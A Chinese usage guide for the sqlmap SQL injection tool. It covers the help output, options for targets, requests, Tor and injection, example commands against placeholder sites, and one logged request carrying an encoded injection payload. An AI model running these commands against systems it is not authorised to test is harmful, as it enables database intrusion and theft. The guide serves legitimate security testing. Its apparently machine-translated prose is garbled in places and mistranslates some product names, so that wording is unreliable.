SQLMAP用法大全

用法

Usage: python sqlmap.py [options]

Options:
  -h, --help            Show basic help message and exit
  -hh                   Show advanced help message and exit
  --version             Show program's version number and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)

  Target:
    At least one of these options has to be provided to define the
    target(s)

    -d DIRECT           Connection string for direct database connection
    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
    -l LOGFILE          Parse target(s) from Burp or WebScarab proxy log file
    -x SITEMAPURL       Parse target(s) from remote sitemap(.xml) file
    -m BULKFILE         Scan multiple targets given in a textual file
    -r REQUESTFILE      Load HTTP request from a file
    -g GOOGLEDORK       Process Google dork results as target URLs
    -c CONFIGFILE       Load options from a configuration INI file

  Request:
    These options can be used to specify how to connect to the target URL

    --method=METHOD     Force usage of given HTTP method (e.g. PUT)
    --data=DATA         Data string to be sent through POST
    --param-del=PARA..  Character used for splitting parameter values
    --cookie=COOKIE     HTTP Cookie header value
    --cookie-del=COO..  Character used for splitting cookie values
    --load-cookies=L..  File containing cookies in Netscape/wget format
    --drop-set-cookie   Ignore Set-Cookie header from response
    --user-agent=AGENT  HTTP User-Agent header value
    --random-agent      Use randomly selected HTTP User-Agent header value
    --host=HOST         HTTP Host header value
    --referer=REFERER   HTTP Referer header value
    -H HEADER, --hea..  Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
    --headers=HEADERS   Extra headers (e.g. "Accept-Language: fr\nETag: 123")
    --auth-type=AUTH..  HTTP authentication type (Basic, Digest, NTLM or PKI)
    --auth-cred=AUTH..  HTTP authentication credentials (name:password)
    --auth-file=AUTH..  HTTP authentication PEM cert/private key file
    --ignore-code=IG..  Ignore HTTP error code (e.g. 401)
    --ignore-proxy      Ignore system default proxy settings
    --ignore-redirects  Ignore redirection attempts
    --ignore-timeouts   Ignore connection timeouts
    --proxy=PROXY       Use a proxy to connect to the target URL
    --proxy-cred=PRO..  Proxy authentication credentials (name:password)
    --proxy-file=PRO..  Load proxy list from a file
    --tor               Use Tor anonymity network
    --tor-port=TORPORT  Set Tor proxy port other than default
    --tor-type=TORTYPE  Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))
    --check-tor         Check to see if Tor is used properly
    --delay=DELAY       Delay in seconds between each HTTP request
    --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)
    --retries=RETRIES   Retries when the connection timeouts (default 3)
    --randomize=RPARAM  Randomly change value for given parameter(s)
    --safe-url=SAFEURL  URL address to visit frequently during testing
    --safe-post=SAFE..  POST data to send to a safe URL
    --safe-req=SAFER..  Load safe HTTP request from a file
    --safe-freq=SAFE..  Test requests between two visits to a given safe URL
    --skip-urlencode    Skip URL encoding of payload data
    --csrf-token=CSR..  Parameter used to hold anti-CSRF token
    --csrf-url=CSRFURL  URL address to visit to extract anti-CSRF token
    --force-ssl         Force usage of SSL/HTTPS
    --hpp               Use HTTP parameter pollution method
    --eval=EVALCODE     Evaluate provided Python code before the request (e.g.
                        "import hashlib;id2=hashlib.md5(id).hexdigest()")

  Optimization:
    These options can be used to optimize the performance of sqlmap

    -o                  Turn on all optimization switches
    --predict-output    Predict common queries output
    --keep-alive        Use persistent HTTP(s) connections
    --null-connection   Retrieve page length without actual HTTP response body
    --threads=THREADS   Max number of concurrent HTTP(s) requests (default 1)

  Injection:
    These options can be used to specify which parameters to test for,
    provide custom injection payloads and optional tampering scripts

    -p TESTPARAMETER    Testable parameter(s)
    --skip=SKIP         Skip testing for given parameter(s)
    --skip-static       Skip testing parameters that not appear to be dynamic
    --param-exclude=..  Regexp to exclude parameters from testing (e.g. "ses")
    --dbms=DBMS         Force back-end DBMS to this value
    --dbms-cred=DBMS..  DBMS authentication credentials (user:password)
    --os=OS             Force back-end DBMS operating system to this value
    --invalid-bignum    Use big numbers for invalidating values
    --invalid-logical   Use logical operations for invalidating values
    --invalid-string    Use random strings for invalidating values
    --no-cast           Turn off payload casting mechanism
    --no-escape         Turn off string escaping mechanism
    --prefix=PREFIX     Injection payload prefix string
    --suffix=SUFFIX     Injection payload suffix string
    --tamper=TAMPER     Use given script(s) for tampering injection data

  Detection:
    These options can be used to customize the detection phase

    --level=LEVEL       Level of tests to perform (1-5, default 1)
    --risk=RISK         Risk of tests to perform (1-3, default 1)
    --string=STRING     String to match when query is evaluated to True
    --not-string=NOT..  String to match when query is evaluated to False
    --regexp=REGEXP     Regexp to match when query is evaluated to True
    --code=CODE         HTTP code to match when query is evaluated to True
    --text-only         Compare pages based only on the textual content
    --titles            Compare pages based only on their titles

  Techniques:
    These options can be used to tweak testing of specific SQL injection
    techniques

    --technique=TECH    SQL injection techniques to use (default "BEUSTQ")
    --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)
    --union-cols=UCOLS  Range of columns to test for UNION query SQL injection
    --union-char=UCHAR  Character to use for bruteforcing number of columns
    --union-from=UFROM  Table to use in FROM part of UNION query SQL injection
    --dns-domain=DNS..  Domain name used for DNS exfiltration attack
    --second-order=S..  Resulting page URL searched for second-order response

  Fingerprint:
    -f, --fingerprint   Perform an extensive DBMS version fingerprint

  Enumeration:
    These options can be used to enumerate the back-end database
    management system information, structure and data contained in the
    tables. Moreover you can run your own SQL statements

    -a, --all           Retrieve everything
    -b, --banner        Retrieve DBMS banner
    --current-user      Retrieve DBMS current user
    --current-db        Retrieve DBMS current database
    --hostname          Retrieve DBMS server hostname
    --is-dba            Detect if the DBMS current user is DBA
    --users             Enumerate DBMS users
    --passwords         Enumerate DBMS users password hashes
    --privileges        Enumerate DBMS users privileges
    --roles             Enumerate DBMS users roles
    --dbs               Enumerate DBMS databases
    --tables            Enumerate DBMS database tables
    --columns           Enumerate DBMS database table columns
    --schema            Enumerate DBMS schema
    --count             Retrieve number of entries for table(s)
    --dump              Dump DBMS database table entries
    --dump-all          Dump all DBMS databases tables entries
    --search            Search column(s), table(s) and/or database name(s)
    --comments          Retrieve DBMS comments
    -D DB               DBMS database to enumerate
    -T TBL              DBMS database table(s) to enumerate
    -C COL              DBMS database table column(s) to enumerate
    -X EXCLUDECOL       DBMS database table column(s) to not enumerate
    -U USER             DBMS user to enumerate
    --exclude-sysdbs    Exclude DBMS system databases when enumerating tables
    --pivot-column=P..  Pivot column name
    --where=DUMPWHERE   Use WHERE condition while table dumping
    --start=LIMITSTART  First dump table entry to retrieve
    --stop=LIMITSTOP    Last dump table entry to retrieve
    --first=FIRSTCHAR   First query output word character to retrieve
    --last=LASTCHAR     Last query output word character to retrieve
    --sql-query=QUERY   SQL statement to be executed
    --sql-shell         Prompt for an interactive SQL shell
    --sql-file=SQLFILE  Execute SQL statements from given file(s)

  Brute force:
    These options can be used to run brute force checks

    --common-tables     Check existence of common tables
    --common-columns    Check existence of common columns

  User-defined function injection:
    These options can be used to create custom user-defined functions

    --udf-inject        Inject custom user-defined functions
    --shared-lib=SHLIB  Local path of the shared library

  File system access:
    These options can be used to access the back-end database management
    system underlying file system

    --file-read=RFILE   Read a file from the back-end DBMS file system
    --file-write=WFILE  Write a local file on the back-end DBMS file system
    --file-dest=DFILE   Back-end DBMS absolute filepath to write to

  Operating system access:
    These options can be used to access the back-end database management
    system underlying operating system

    --os-cmd=OSCMD      Execute an operating system command
    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC
    --os-smbrelay       One click prompt for an OOB shell, Meterpreter or VNC
    --os-bof            Stored procedure buffer overflow exploitation
    --priv-esc          Database process user privilege escalation
    --msf-path=MSFPATH  Local path where Metasploit Framework is installed
    --tmp-path=TMPPATH  Remote absolute path of temporary files directory

  Windows registry access:
    These options can be used to access the back-end database management
    system Windows registry

    --reg-read          Read a Windows registry key value
    --reg-add           Write a Windows registry key value data
    --reg-del           Delete a Windows registry key value
    --reg-key=REGKEY    Windows registry key
    --reg-value=REGVAL  Windows registry key value
    --reg-data=REGDATA  Windows registry key value data
    --reg-type=REGTYPE  Windows registry key value type

  General:
    These options can be used to set some general working parameters

    -s SESSIONFILE      Load session from a stored (.sqlite) file
    -t TRAFFICFILE      Log all HTTP traffic into a textual file
    --batch             Never ask for user input, use the default behaviour
    --binary-fields=..  Result fields having binary values (e.g. "digest")
    --check-internet    Check Internet connection before assessing the target
    --crawl=CRAWLDEPTH  Crawl the website starting from the target URL
    --crawl-exclude=..  Regexp to exclude pages from crawling (e.g. "logout")
    --csv-del=CSVDEL    Delimiting character used in CSV output (default ",")
    --charset=CHARSET   Blind SQL injection charset (e.g. "0123456789abcdef")
    --dump-format=DU..  Format of dumped data (CSV (default), HTML or SQLITE)
    --encoding=ENCOD..  Character encoding used for data retrieval (e.g. GBK)
    --eta               Display for each output the estimated time of arrival
    --flush-session     Flush session files for current target
    --forms             Parse and test forms on target URL
    --fresh-queries     Ignore query results stored in session file
    --har=HARFILE       Log all HTTP traffic into a HAR file
    --hex               Use DBMS hex function(s) for data retrieval
    --output-dir=OUT..  Custom output directory path
    --parse-errors      Parse and display DBMS error messages from responses
    --save=SAVECONFIG   Save options to a configuration INI file
    --scope=SCOPE       Regexp to filter targets from provided proxy log
    --test-filter=TE..  Select tests by payloads and/or titles (e.g. ROW)
    --test-skip=TEST..  Skip tests by payloads and/or titles (e.g. BENCHMARK)
    --update            Update sqlmap

  Miscellaneous:
    -z MNEMONICS        Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
    --alert=ALERT       Run host OS command(s) when SQL injection is found
    --answers=ANSWERS   Set question answers (e.g. "quit=N,follow=N")
    --beep              Beep on question and/or when SQL injection is found
    --cleanup           Clean up the DBMS from sqlmap specific UDF and tables
    --dependencies      Check for missing (non-core) sqlmap dependencies
    --disable-coloring  Disable console output coloring
    --gpage=GOOGLEPAGE  Use Google dork results from specified page number
    --identify-waf      Make a thorough testing for a WAF/IPS/IDS protection
    --mobile            Imitate smartphone through HTTP User-Agent header
    --offline           Work in offline mode (only use session data)
    --purge-output      Safely remove all content from output directory
    --skip-waf          Skip heuristic detection of WAF/IPS/IDS protection
    --smart             Conduct thorough tests only if positive heuristic(s)
    --sqlmap-shell      Prompt for an interactive sqlmap shell
    --tmp-dir=TMPDIR    Local directory for storing temporary files
    --web-root=WEBROOT  Web server document root directory (e.g. "/var/www")
    --wizard            Simple wizard interface for beginner users

输出冗长

选项: -v

该选项可用于设置输出消息的详细级别。七个级别的详细程度。默认级别是1,其中显示信息,警告,错误,关键消息和Python追溯(如果有的话)。

  • 0:只显示Python回溯,错误和关键信息。
  • 1:也显示信息和警告消息。
  • 2:显示调试消息。
  • 3:显示注入的有效载荷。
  • 4:也显示HTTP请求。
  • 5:也显示HTTP响应的标题。
  • 6:显示HTTP响应的页面内容。

一个合理的冗长级别来进一步理解sqlmap在底层是做什么的2,主要用于检测阶段和接管功能。而如果你想看到工具发送的SQL负载,3是你的最佳选择。当您向开发人员提供潜在的错误报告时,建议使用此级别,确保您使用选项生成的流量日志文件与标准输出一起发送-t为了进一步调试潜在的错误或意外行为,我们建议您将详细程度设置为4或更高。应该注意的是,还可以通过使用此选项的较短版本(字母数量)来设置详细程度v内的规定开关(而不是选择)确定的详细级别(例如-v,而不是-v 2-vv代替-v 3-vvv而不是-v 4等)

目标

至少提供了其中一个选项来设置目标。

直接连接到数据库

选项: -d

针对单个数据库实例运行sqlmap。该选项以下列形式之一接受连接字符串:

  • DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME (MySQL,Oracle,Microsoft SQL Server,PostgreSQL等)
  • DBMS://DATABASE_FILEPATH (SQLite,Microsoft Access,Firebird等)

例如:

$ python sqlmap.py -d "mysql://admin:admin@192.168.21.17:3306/testdb" -f --bann\
er --dbs --users

目标网址

选项:-u--url

针对单个目标网址运行sqlmap。该选项需要以下格式的目标网址:

http(s)://targeturl[:port]/[...]

例如:

$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs -\
-users

从Burp或WebScarab代理日志解析目标

选项: -l

可以测试和注入通过Burp代理或 WebScarab代理代理的 HTTP请求,而不是提供单个目标URL 该选项需要一个参数,它是代理的HTTP请求日志文件。

从远程站点地图(.xml)文件解析目标

选项: -x

网站地图是一个文件,网络管理员可以列出他们网站的网页位置,以告诉搜索引擎关于网站内容的组织。您可以使用选项-x(例如-x http://www.target.com/sitemap.xml为sqlmap提供站点地图的位置,以便它可以找到可用的目标URL以进行扫描。

扫描给定文本文件中列出的多个目标

选项: -m

提供在给定的批量文件中列出的目标URL列表,sqlmap将逐一扫描每个URL。

作为此选项的参数提供的大容量文件的示例内容:

www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*

从文件加载HTTP请求

选项: -r

sqlmap的一种可能性是从文本文件加载原始HTTP请求。这样,您可以跳过其他一些选项的使用(例如设置Cookie,发布数据等)。

作为参数提供给此选项的HTTP请求文件的示例内容:

POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0

id=1

请注意,如果请求通过HTTPS,则可以将此与切换配合使用--force-ssl以强制SSL连接到443 / tcp。或者,您可以追加:443Host标题值的末尾

将Google dork结果作为目标地址进行处理

选项: -g

根据您的Google dork的结果,还可以测试并注入GET参数。

此选项使得sqlmap与搜索引擎协商其会话cookie以执行搜索,然后sqlmap将使用GET参数检索Google首个100条Google Dork表达式结果,询问您是否要测试并注入每个可能受影响的URL 。

例如:

$ python sqlmap.py -g "inurl:\".php?id=1\""

从配置INI文件加载选项

选项: -c

可以从配置INI文件传递用户选项,例如sqlmap.conf

请注意,如果您从命令行提供其他选项,那么在运行sqlmap时会对这些选项进行评估并覆盖配置文件中提供的选项。

请求

这些选项可用于指定如何连接到目标URL。

HTTP方法

选项: --method

sqlmap会自动检测HTTP请求中使用的正确的HTTP方法。不过,在某些情况下,需要强制使用PUT自动化未使用的特定HTTP方法(例如)。这可以使用这个选项(例如--method=PUT)。

HTTP数据

选项: --data

默认情况下,用于执行HTTP请求的HTTP方法是GET,但可以通过提供要在POST请求中发送的数据来隐式地将其更改为POST。这些数据,即那些参数,针对SQL注入以及任何提供的GET参数进行了测试。

例如:

$ python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banne\
r --dbs --users

参数分割字符

选项: --param-del

在某些情况下,&需要为sqlmap重写默认参数分隔符(例如,在GET和POST数据中),以便能够分别正确拆分和处理每个参数。

例如:

$ python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=\
1" --param-del=";" -f --banner --dbs --users

HTTP Cookie标头

选项和开关:--cookie--cookie-del--load-cookies--drop-set-cookie

这些选项和开关可用于两种情况:

  • Web应用程序需要基于Cookie的身份验证,并且您拥有此类数据。
  • 您想要检测并利用此类标头值上的SQL注入。

无论哪种原因,都需要使用sqlmap请求发送cookie,所需的步骤如下:

  • 用您最喜欢的浏览器登录应用程序。
  • 从浏览器的首选项或从HTTP代理屏幕获取HTTP Cookie并复制到剪贴板。
  • 回到你的shell并通过粘贴你的剪贴板作为选项的值来运行sqlmap --cookie

请注意,HTTP Cookie标头值通常由一个;字符分隔而不是由一个字符分隔&sqlmap可以将它们识别为单独的集合parameter=value,以及GET和POST参数。如果分隔字符不是;可以通过使用选项指定的--cookie-del

如果在通信过程中的任何时候,Web应用程序都会响应Set-Cookie标题,则sqlmap将自动使用其所有其他HTTP请求中的值作为Cookie标题。sqlmap也会自动为SQL注入测试这些值。这可以通过提供交换机来避免--drop-set-cookie--sqlmap会忽略任何即将到来的Set-Cookie头文件。

反之亦然,如果您提供Cookie带有选项的HTTP 标头,--cookie并且目标URL Set-Cookie随时会发送HTTP 标头,则sqlmap会询问您用于下列HTTP请求的哪组Cookie。

还有一个选项--load-cookies可用于提供包含Netscape / wget格式化cookie的特殊文件。

请注意,Cookie如果--level设置为2或更高,则HTTP 头将针对SQL注入进行测试详情请阅读下文。

HTTP User-Agent标头

选项和开关:--user-agent--random-agent

默认情况下,sqlmap使用以下User-Agent头部值执行HTTP请求

sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

但是,可以--user-agent通过提供自定义User-Agent作为选项的参数来伪装它

而且,通过提供交换机--random-agent,sqlmap将从文本文件中随机选择一个User-Agent./txt/user-agents.txt并将其用于会话中的所有HTTP请求。

某些站点执行HTTP User-Agent头值的服务器端检查,并且如果User-Agent未提供有效的HTTP响应,HTTP响应将失败,其值不是预期的,或者被Web应用程序防火墙或类似的入侵防护系统列入黑名单。在这种情况下,sqlmap会显示如下消息:

[hh:mm:20] [ERROR] the target URL responded with an unknown HTTP status code, try to 
force the HTTP User-Agent header with option --user-agent or --random-agent

请注意,User-Agent如果--level设置为3或更高,则HTTP 头将针对SQL注入进行测试详情请阅读下文。

HTTP Host标头

选项: --host

您可以手动设置HTTP Host标头值。默认情况下,HTTP Host头是从提供的目标URL中分析的。

请注意,Host如果--level设置为5,则还会针对SQL注入测试HTTP 标头详情请阅读下文。

HTTP Referer标头

选项: --referer

有可能伪造HTTP Referer标头值。默认情况下,没有 HTTP Referer报头在HTTP请求发送,如果没有明确设定。

请注意,Referer如果--level设置为3或更高,则HTTP 头将针对SQL注入进行测试详情请阅读下文。

额外的HTTP标头

选项: --headers

可以通过设置选项来提供额外的HTTP标头--headers每个头文件必须用换行符分隔,并且从配置INI文件中提供它们要容易得多。你可以看看sqlmap.conf这种情况下的示例文件。

针对MySQL目标的示例:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" -z \
"ign,flu,bat,tec=E" --headers="Host:www.target.com\nUser-agent:Firefox 1.0" -v 5
[...]
[xx:xx:44] [TRAFFIC OUT] HTTP request [#5]:
GET /sqlmap/mysql/get_int.php?id=1%20AND%20%28SELECT%209351%20FROM%28SELECT%20C\
OUNT%28%2A%29%2CCONCAT%280x3a6161733a%2C%28SELECT%20%28CASE%20WHEN%20%285473%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3D%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%205473%29%20THEN%201%20ELSE%200%20END%29%29%2C\
0x3a6c666d3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARA\
CTER_SETS%20GROUP%20BY%20x%29a%
29 HTTP/1.1
Host: www.target.com
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Firefox 1.0
Connection: close
[...]

HTTP协议认证

选项:--auth-type--auth-cred

这些选项可以用来指定哪些HTTP协议认证后端Web服务器实现以及用于执行对目标应用程序的所有HTTP请求的有效凭证。

三种支持的HTTP协议认证机制是:

  • Basic
  • Digest
  • NTLM

凭证的语法是username:password

有效语法的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id\
=1" --auth-type Basic --auth-cred "testuser:testpass"

HTTP协议私钥认证

选项: --auth-file

当Web服务器需要适当的客户端证书和用于身份验证的私钥时,应使用此选项。提供的值应该是PEM格式key_file,包含您的证书和私钥。

忽略HTTP错误401(未授权)

开关 --ignore-401

如果您想要测试偶尔返回HTTP错误401(未授权)的站点,而您想忽略它并继续测试而不提供正确的凭据,则可以使用开关 --ignore-401

HTTP(S)代理

选项和开关:--proxy--proxy-cred--proxy-file--ignore-proxy

可以提供一个HTTP(S)代理地址,以通过HTTP(S)请求传递给具有选项的目标URL --proxyHTTP(S)代理值的语法是http://url:port

如果HTTP(S)代理需要认证,则可以username:password以选项的格式提供凭证--proxy-cred

如果您想要使用(一次性)代理列表,在任何连接问题的标志(例如阻止侵入性IP地址)上跳到下一个代理,--proxy-file可以通过提供包含批量代理列表的文件的文件名来使用选项

--ignore-proxy当您想通过忽略系统范围内设置的HTTP(S)代理服务器设置来针对局域网的目标部分运行sqlmap时,应使用交换机

Tor匿名网络

开关和选项:--tor--tor-port--tor-type--check-tor

如果出于任何原因,您需要保持匿名,而不是通过单个预定义的HTTP(S)代理服务器传递,您可以Tor机器上配置Privoxy(或类似)Tor客户端Tor安装指南中所述然后你可以使用一个开关,并且sqlmap会尝试自动设置Tor代理连接设置。--tor

如果你想手动设置使用Tor代理的类型和端口,你可以通过选项--tor-type--tor-port(例如--tor-type=SOCKS5 --tor-port 9050)来完成。

强烈建议您--check-tor偶尔使用以确保所有设置都正确。有些情况下,Tor捆绑(例如Vidalia)配置错误(或重置以前设置的配置)会给您一种错误的匿名感。使用这个开关,sqlmap会通过发送一个请求给官员来检查一切是否按预期工作任何目标请求前的页面。如果检查失败,sqlmap会警告你并突然退出。

每个HTTP请求之间的延迟

选项: --delay

可以指定每个HTTP(S)请求之间持续的秒数。有效值是一个浮点数,例如0.5意味着半秒。默认情况下,不设置延迟。

秒超时连接前等待

选项: --timeout

在考虑HTTP(S)请求超时之前,可以指定等待的秒数。有效值是一个浮点数,例如10.5意味着十秒半。默认设置为30秒

HTTP连接超时时的最大重试次数

选项: --retries

可以指定HTTP(S)连接超时时的最大重试次数。默认情况下,它重试最多三次

随机更改给定参数的值(s)

选项: --randomize

可以指定参数名称,这些参数名称的值在每个请求期间要随机更改。长度和类型根据提供的原始值保存。

使用正则表达式从提供的代理日志中过滤目标

选项: --scope

-l您可以指定有效的Python正则表达式用于过滤所需的正则表达式,而不是使用提供的带有选项的日志解析所有主机

有效语法的示例:

$ python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"

避免太多的不成功请求之后会破坏会话

选项:--safe-url--safe-post--safe-req--safe-freq

如果执行了一定数量的不成功请求,有时候中间的Web应用程序或检查技术会破坏会话。这可能发生在sqlmap的检测阶段,或者它利用任何盲注SQL类型。原因是SQL有效负载不一定会返回输出,因此可能会向应用会话管理或检测技术发出信号。

要绕过目标设置的限制,您可以提供任何(或组合)选项:

  • --safe-url:测试期间频繁访问的URL地址。
  • --safe-post:HTTP POST数据发送到给定的安全URL地址。
  • --safe-req:从文件加载并使用安全的HTTP请求。
  • --safe-freq:在两次访问指定安全位置之间测试请求。

这样,sqlmap将访问每个预定义数量的请求一个安全的 URL,而无需对其进行任何注入。

关闭参数值的URL编码

开关: --skip-urlencode

根据参数的位置(例如GET),其值可能默认为URL编码。在某些情况下,后端Web服务器不遵循RFC标准,并要求以原始非编码形式发送值。使用--skip-urlencode这些类型的案件。

绕过防CSRF保护

选项:--csrf-token--csrf-url

很多站点都以令牌形式包含反CSRF保护,隐藏字段值在每个页面响应期间随机设置。SqlMap的会自动尝试识别并绕过这种保护,但也有选项--csrf-token,并--csrf-url可以用来进一步微调它。Option --csrf-token可用于设置包含随机标记的隐藏值的名称。这对于网站使用非标准名称的情况很有用。Option --csrf-url可用于从任意URL地址检索令牌值。如果易受攻击的目标URL首先不包含必要的标记值,但它需要从其他位置提取它,这非常有用。

强制使用SSL / HTTPS

开关: --force-ssl

如果用户想强制对目标使用SSL / HTTPS请求,他可以使用此开关。在通过使用选项收集URL --crawl使用选项提供Burp日志时,这可能很有-l

在每个请求期间评估自定义的Python代码

选项: --eval

如果用户想要更改(或添加新的)参数值,最有可能是因为某些已知的依赖关系,他可以向sqlmap提供一个自定义Python代码,--eval代码将在每个请求之前进行评估。

例如:

$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b9238\
20dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

此类运行的每个请求都将重新评估GET参数的值,hash以包含当前参数值的新MD5哈希摘要id

优化

这些开关可以用来优化sqlmap的性能。

捆绑优化

开关: -o

该开关是隐式设置以下选项和开关的别名:

  • --keep-alive
  • --null-connection
  • --threads=3 如果没有设置为更高的值。

请阅读下面的每个开关的详细信息。

产量预测

开关: --predict-output

此开关用于推理算法,用于对正在检索的值的字符进行顺序统计预测。具有最有希望的字符值的统计表正在基于txt/common-outputs.txt结合所使用的当前枚举的知识给出的项目来构建如果可以在普通输出值中找到该值,随着处理过程的进行,随后的字符表越来越窄。如果与检索常见DBMS实体结合使用,与系统表名称和特权一起使用,加速意义重大。当然,如果您注意到数据库表名或类似数据库中的常见模式,则可以根据需要编辑通用输出文件。

请注意,此开关与--threads开关不兼容

HTTP Keep-Alive

开关: --keep-alive

此开关指示sqlmap使用持久HTTP(s)连接。

请注意,此开关与--proxy开关不兼容

HTTP NULL连接

开关: --null-connection

有一些特殊的HTTP请求类型可用于检索HTTP响应的大小而不需要获取HTTP主体。这种知识可以在盲目注射技术被用来区分True来自False响应。当提供此开关时,sqlmap将尝试测试并利用两种不同的NULL连接技术:RangeHEAD如果目标网络服务器支持其中任何一项,则加速将来自明显节省使用的带宽。

这些技术在白皮书“ 盲注SQL注入中的爆发性能 - 以2(带宽)”为详细信息

请注意,此开关与开关不兼容--text-only

并发HTTP(S)请求

选项: --threads

可以指定sqlmap允许执行的并发HTTP(S)请求的最大数量。这个特性依赖于多线程的概念,并继承了它的专业和它的缺点。

此功能适用于暴力破解开关,以及何时通过任何盲注SQL技术完成数据提取。对于后一种情况,sqlmap首先计算单个线程中查询输出的长度,然后启动多线程。每个线程都被分配来检索查询输出的一个字符。线程在检索到该字符时结束 - 它在sqlmap中实现了二分法,最多需要7个HTTP(S)请求。

出于性能和站点可靠性原因,最大并发请求数设置为10

请注意,该选项与开关不兼容--predict-output

注射

这些选项可用于指定要测试哪些参数,提供自定义注入有效负载和可选的篡改脚本。

可测试参数(s)

选项:-p--skip--param-exclude

默认情况下,sqlmap会测试所有的GET参数和POST参数。当值--level大于等于2时,它也会测试HTTP Cookie标头值。当该值大于等于3时,它还会测试SQL注入的HTTP User-Agent和HTTP Referer标头值。但是,可以手动指定您希望sqlmap测试的参数的逗号分隔列表。这也会绕过对价值的依赖--level

例如,要测试GET参数idUser-AgentHTTP ,请提供-p "id,user-agent"

如果用户想从测试中排除某些参数,他可以使用选项--skip当你想使用更高的值--level并测试所有可用的参数,而不包括正常测试的HTTP标头时,这一点尤其有用

例如,跳过测试HTTP标头User-Agent和HTTP头Referer--level=5,提供--skip="user-agent,referer"

也可以根据运行在其名称上的正则表达式从测试中排除某些参数。在这种情况下,用户可以使用选项--param-exclude

例如,要跳过对包含字符串token或其session名称的参数的测试,请提供--param-exclude="token|session"

URI注入点

注入点位于URI本身内部时有特殊情况。除非手动指向,否则sqlmap不会对URI路径执行任何自动测试。您必须在命令行中指定这些注入点,方法是在每个希望sqlmap测试和利用SQL注入的URI点之后附加一个星号(*)(注意:%INJECT HERE%也支持Havij样式)。

例如,当Apache Web服务器的mod_rewrite模块正在使用或其他类似的技术时,这是特别有用的

有效命令行的例子是:

$ python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"

任意注射点

与URI注入点类似,asterisk(*)(%INJECT HERE%也支持Havij样式)也可以用于指向GET,POST或HTTP头中的任意注入点。注射点可以通过标记它设置有选项的GET参数值(一个或多个)内指定-u,POST参数值(一个或多个)提供选项--data,设置有选择HTTP标头值(S) ,-H--headers 和/或,或在通用处内部HTTP请求从文件加载选项--user-agent--referer--cookie-r

有效命令行的例子是:

$ python sqlmap.py -u "http://targeturl" --cookie="param1=value1*;param2=value2"

强制DBMS

选项: --dbms

默认情况下,sqlmap会自动检测Web应用程序的后端数据库管理系统。sqlmap完全支持以下数据库管理系统:

  • MySQL的
  • 神谕
  • PostgreSQL的
  • Microsoft SQL Server
  • Microsoft Access
  • IBM DB2
  • SQLite的
  • 火鸟
  • SYBASE
  • SAP MaxDB
  • HSQLDB
  • Informix的

如果由于某种原因,sqlmap无法检测到后端数据库管理系统(DBMS),或者您想避免活动指纹,您可以自己提供后端数据库管理系统的名称(例如postgresql)。对于MySQL和Microsoft SQL Server分别在表单中提供它们,MySQL <version>并且Microsoft SQL Server <version>在哪里<version>为DBMS的有效版本; 例如5.0用于MySQL和2005Microsoft SQL Server。

如果您--fingerprint一起提供--dbms,sqlmap只会为指定的数据库管理系统执行大量指纹,请阅读下面的详细信息。

